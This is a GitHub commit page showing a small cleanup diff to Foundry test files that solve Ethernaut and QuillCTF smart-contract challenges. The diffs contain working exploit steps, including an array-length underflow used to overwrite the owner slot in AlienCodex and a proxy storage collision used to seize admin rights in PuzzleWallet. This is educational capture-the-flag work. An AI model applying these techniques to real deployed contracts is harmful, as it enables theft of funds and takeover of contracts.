Skip to content

Commit

Permalink
chore: clean up
Browse files Browse the repository at this point in the history
  • Loading branch information
leovct committed Oct 2, 2024
1 parent 3ddd43b commit ddb06b3
Show file tree
Hide file tree
Showing 6 changed files with 19 additions and 25 deletions.
1 change: 0 additions & 1 deletion src/EthernautCTF/Motorbike.sol
Original file line number Diff line number Diff line change
@@ -1,5 +1,4 @@
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import '@openzeppelin-06/utils/Address.sol';
Expand Down
31 changes: 13 additions & 18 deletions test/EthernautCTF/AlienCodexExploit.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -18,24 +18,21 @@ contract AlienCodexExploit is Test {
bytes memory bytecode = abi.encodePacked(
vm.getCode('./out/AlienCodex.sol/AlienCodex.json')
);
address target;
address targetAddress;
assembly {
target := create(0, add(bytecode, 0x20), mload(bytecode))
targetAddress := create(0, add(bytecode, 0x20), mload(bytecode))
}
console2.log('Target contract deployed');
vm.stopPrank();

// Check that the current owner is the deployer.
(bool success, bytes memory returnData) = address(target).call(
(bool success, bytes memory returnData) = targetAddress.call(
abi.encodeWithSignature('owner()')
);
assertTrue(success);
require(success, 'Call failed');
address owner;
if (returnData.length > 0) {
owner = address(
uint160(bytes20(uint160(uint256(bytes32(returnData)) << 0)))
);
//owner = abi.decode(returnData, (address));
owner = abi.decode(returnData, (address));
}
assertEq(owner, deployer);
console2.log('Current owner: %s', owner);
Expand Down Expand Up @@ -68,37 +65,35 @@ contract AlienCodexExploit is Test {
// array to modify the slot0 value (owner).
vm.startPrank(exploiter);
// Make contact to be able to pass the `contacted` modifier.
(success, ) = address(target).call(
abi.encodeWithSignature('makeContact()')
);
assertTrue(success);
(success, ) = targetAddress.call(abi.encodeWithSignature('makeContact()'));
require(success, 'Call failed');

// The codex array is empty, thus codex.length is equal to zero.
// Since we are using solidity ^0.5.0, we can trigger an underflow by substracting one from zero.
(success, ) = address(target).call(abi.encodeWithSignature('retract()')); // codex.length is now equal to 2^256 - 1.
assertTrue(success);
(success, ) = targetAddress.call(abi.encodeWithSignature('retract()')); // codex.length is now equal to 2^256 - 1.
require(success, 'Call failed');

// The codex dynamic array can now be used to access any variables stored in the contract.
// codex[0] refers to slot keccak256(1)
// codex[1] refers to slot keccak256(1)+1
// codex[2^256 - 1 - uint(keccak256(1))] refers to slot 2^256 - 1
// codex[2^256 - 1 - uint(keccak256(1)) + 1] refers to slot 0
uint256 index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
(success, ) = address(target).call(
(success, ) = targetAddress.call(
abi.encodeWithSignature(
'revise(uint256,bytes32)',
index,
bytes32(uint256(uint160(exploiter)))
)
);
assertTrue(success);
require(success, 'Call failed');
vm.stopPrank();

// Check that the new owner is the exploiter.
(success, returnData) = address(target).call(
(success, returnData) = targetAddress.call(
abi.encodeWithSignature('owner()')
);
assertTrue(success);
require(success, 'Call failed');
if (returnData.length > 0) {
owner = abi.decode(returnData, (address));
}
Expand Down
2 changes: 1 addition & 1 deletion test/EthernautCTF/DelegationExploit.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ contract DelegationExploit is Test {
// TODO: Understand why the exploit does not work?!
// https://github.com/foundry-rs/foundry/issues/824
(bool success, ) = address(target).call(abi.encodeWithSignature('pwn()'));
assertTrue(success);
require(success, 'Call failed');
vm.stopPrank();

owner = target.owner();
Expand Down
6 changes: 3 additions & 3 deletions test/EthernautCTF/PuzzleWalletExploit.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -48,15 +48,15 @@ contract PuzzleWalletExploit is Test {
(bool success, ) = address(proxy).call(
abi.encodeWithSignature('addToWhitelist(address)', exploiter)
);
assertTrue(success);
require(success, 'Call failed');

// Now that he's whitelisted, he sets the max balance to its own balance. He resets the max
// balance to zero to then be able to call the init method to set the max balance to whatever
// value.
(success, ) = address(proxy).call(
abi.encodeWithSignature('setMaxBalance(uint256)', 0)
);
assertTrue(success);
require(success, 'Call failed');

// The exploiter sets the max balance. Since the max balance is stored at the 2nd slot of the
// Puzzle contract, it collides with the 2nd slot of the Proxy contract which holds the value
Expand All @@ -65,7 +65,7 @@ contract PuzzleWalletExploit is Test {
(success, ) = address(proxy).call(
abi.encodeWithSignature('init(uint256)', uint256(uint160(exploiter)))
);
assertTrue(success);
require(success, 'Call failed');

assertEq(proxy.admin(), exploiter);
vm.stopPrank();
Expand Down
2 changes: 1 addition & 1 deletion test/EthernautCTF/RecoveryExploit.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ contract RecoveryExploit is Test {
address firstSimpleTokenAddress = 0x0d5C87e3905Da4B351d605a0d89953aF60eF667a;
SimpleToken token = SimpleToken(payable(firstSimpleTokenAddress));
(bool success, ) = address(token).call{value: 0.001 ether}('');
assertTrue(success);
require(success, 'Call failed');
console2.log(
'The deployer sends ether to the contract but then forget about the address...'
);
Expand Down
2 changes: 1 addition & 1 deletion test/QuillCTF/TrueXORExploit.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -54,7 +54,7 @@ contract TrueXORExploit is Test {
(bool success, ) = address(target).delegatecall{gas: 10_000}(
abi.encodeWithSignature('callMe(address)', address(boolGiver))
);
assertTrue(success);
require(success, 'Call failed');
vm.stopPrank();
}
}

0 comments on commit ddb06b3

Please sign in to comment.